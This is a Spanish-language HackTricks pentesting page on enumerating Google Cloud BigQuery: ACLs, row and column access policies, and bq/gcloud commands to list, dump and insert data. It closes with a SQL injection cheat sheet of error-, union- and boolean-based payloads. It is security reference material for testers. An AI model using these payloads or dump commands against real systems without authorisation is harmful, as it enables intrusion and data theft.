GCP - Bigquery Enum

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red Team de HackTricks en AWS)!

Otras formas de apoyar a HackTricks:

Información Básica

Google Cloud BigQuery es un almacén de datos empresariales completamente gestionado y sin servidor, que ofrece capacidades para análisis sobre petabytes de datos, manejando eficientemente conjuntos de datos a gran escala. Como Plataforma como Servicio (PaaS), proporciona a los usuarios infraestructura y herramientas para facilitar la gestión de datos sin necesidad de supervisión manual.

Admite consultas utilizando SQL ANSI. Los principales objetos son conjuntos de datos que contienen tablas que contienen datos SQL.

Encriptación

Por defecto se utiliza una clave de encriptación gestionada por Google, aunque es posible configurar una clave de encriptación gestionada por el cliente (CMEK). Es posible indicar la clave de encriptación por conjunto de datos y por tabla dentro de un conjunto de datos.

Expiración

Es posible indicar un tiempo de expiración en el conjunto de datos para que cualquier nueva tabla creada en este conjunto de datos sea eliminada automáticamente el número especificado de días después de la creación.

Fuentes Externas

Bigquery está profundamente integrado con otros servicios de Google. Es posible cargar datos desde buckets, pub/sub, Google Drive, bases de datos RDS...

ACLs del Conjunto de Datos

Cuando se crea un conjunto de datos, se adjuntan ACLs para dar acceso sobre él. Por defecto se otorgan privilegios de Propietario sobre el usuario que lo creó el conjunto de datos y luego Propietario al grupo projectOwners (Propietarios del proyecto), Escritor al grupo projectWriters y Lector al grupo projectReaders:

bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

Control de Acceso a Filas de Tabla

Es posible controlar las filas a las que un principal podrá acceder dentro de una tabla con políticas de acceso a filas. Estas se definen dentro de la tabla utilizando DDL. La política de acceso define un filtro y solo las filas que coincidan con ese filtro serán accesibles por los principales indicados.

# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

Control de Acceso a Columnas

Para restringir el acceso a datos a nivel de columna:

  1. Definir una taxonomía y etiquetas de política. Cree y administre una taxonomía y etiquetas de política para sus datos. https://console.cloud.google.com/bigquery/policy-tags

  2. Opcional: Conceda el rol de Lector detallado de Data Catalog a uno o más principios en una o más de las etiquetas de política que creó.

  3. Asigne etiquetas de política a las columnas de BigQuery. En BigQuery, use anotaciones de esquema para asignar una etiqueta de política a cada columna donde desee restringir el acceso.

  4. Hacer cumplir el control de acceso en la taxonomía. Hacer cumplir el control de acceso hace que las restricciones de acceso definidas para todas las etiquetas de política en la taxonomía se apliquen.

  5. Administre el acceso en las etiquetas de política. Utilice Identity and Access Management (IAM) para restringir el acceso a cada etiqueta de política. La política está en efecto para cada columna que pertenece a la etiqueta de política.

Cuando un usuario intenta acceder a datos de columna en el momento de la consulta, BigQuery verifica la etiqueta de política de la columna y su política para ver si el usuario está autorizado para acceder a los datos.

En resumen, para restringir el acceso a algunas columnas para algunos usuarios, puede agregar una etiqueta a la columna en el esquema y restringir el acceso de los usuarios a la etiqueta haciendo cumplir el control de acceso en la taxonomía de la etiqueta.

Para hacer cumplir el control de acceso en la taxonomía, es necesario habilitar el servicio:

gcloud services enable bigquerydatapolicy.googleapis.com

Es posible ver las etiquetas de las columnas con:

bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

Enumeración

# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Misc
bq show --encryption_service_account # Get encryption service account

Inyección de SQL en BigQuery

Para obtener más información, puedes consultar la publicación del blog: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Aquí se proporcionarán algunos detalles.

Comentarios:

  • select 1#desde aquí no funciona

  • select 1/*entre estos no funciona*/ Pero solo el inicial no funcionará

  • select 1--desde aquí no funciona

Obtener información sobre el entorno como:

  • Usuario actual: select session_user()

  • Id del proyecto: select @@project_id

Obtener nombres de conjuntos de datos, tablas y columnas:

  • Nombre del proyecto y conjunto de datos:

SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
  • Otros conjuntos de datos en el mismo proyecto:

SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM digital-bonfire-410512.INFORMATION_SCHEMA.SCHEMATA

Tipos de Inyección SQL:

  • Basada en errores - casting: select CAST(@@project_id AS INT64)

  • Basada en errores - división por cero: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '

  • Basada en Union: UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#

  • Basada en booleanos: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#

  • Potencialmente basada en tiempo - Uso de conjuntos de datos públicos de ejemplo: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000

Documentación:

Escalada de privilegios y Post Explotación

Persistencia

Referencias

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización